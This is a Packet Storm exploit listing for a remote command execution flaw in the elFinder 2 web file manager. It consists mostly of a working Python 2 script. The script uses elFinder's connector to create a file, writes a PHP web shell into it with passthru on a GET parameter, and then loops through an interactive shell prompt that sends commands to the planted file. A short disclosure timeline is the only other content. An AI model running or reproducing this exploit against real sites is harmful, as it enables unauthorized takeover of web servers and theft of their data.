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elFinder 2 Remote Command Execution

🗓️ 07 May 2015 00:00:00Reported by TUNISIAN CYBERType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 45 Views

elFinder 2 Remote Command Execution Vulnerability, TUNISIAN CYBER, Vendor: https://github.com/Studio-42/elFinder, Type: WebAPP, Tested on: KaliLinux (Debian), Vulnerability Timeline, Remote Code Executio

Code
`#[+] Author: TUNISIAN CYBER  
#[+] Title: elFinder 2 Remote Command Execution (Via File Creation) Vulnerability  
#[+] Date: 06-05-2015  
#[+] Vendor: https://github.com/Studio-42/elFinder  
#[+] Type: WebAPP  
#[+] Tested on: KaliLinux (Debian)  
#[+] Twitter: @TCYB3R  
#[+] Time Line:  
# 03-05-2015:Vulnerability Discovered  
# 03-05-2015:Contacted Vendor  
# 04-05-2015:No response  
# 05-05-2015:No response  
# 06-05-2015:No response  
# 06-05-2015:Vulnerability published  
  
import cookielib, urllib  
import urllib2  
import sys  
  
print"\x20\x20+-------------------------------------------------+"  
print"\x20\x20| elFinder Remote Command Execution Vulnerability |"  
print"\x20\x20| TUNISIAN CYBER |"  
print"\x20\x20+-------------------------------------------------+"  
  
  
host = raw_input('\x20\x20Vulnerable Site:')  
evilfile = raw_input('\x20\x20EvilFileName:')  
path=raw_input('\x20\x20elFinder s Path:')  
  
  
tcyber = cookielib.CookieJar()  
opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(tcyber))  
  
create = opener.open('http://'+host+'/'+path+'/php/connector.php?cmd=mkfile&name='+evilfile+'&target=l1_Lw')  
#print create.read()  
  
payload = urllib.urlencode({  
'cmd' : 'put',  
'target' : 'l1_'+evilfile.encode('base64','strict'),  
'content' : '<?php passthru($_GET[\'cmd\']); ?>'  
})  
  
write = opener.open('http://'+host+'/'+path+'/php/connector.php', payload)  
#print write.read()  
print '\n'  
while True:  
try:  
cmd = raw_input('[She3LL]:~# ')  
  
execute = opener.open('http://'+host+'/'+path+'/admin/js/plugins/elfinder/files/'+evilfile+'?cmd='+urllib.quote(cmd))  
reverse = execute.read()  
print reverse;  
  
if cmd.strip() == 'exit':  
break  
  
except Exception:  
break  
  
sys.exit()  
`

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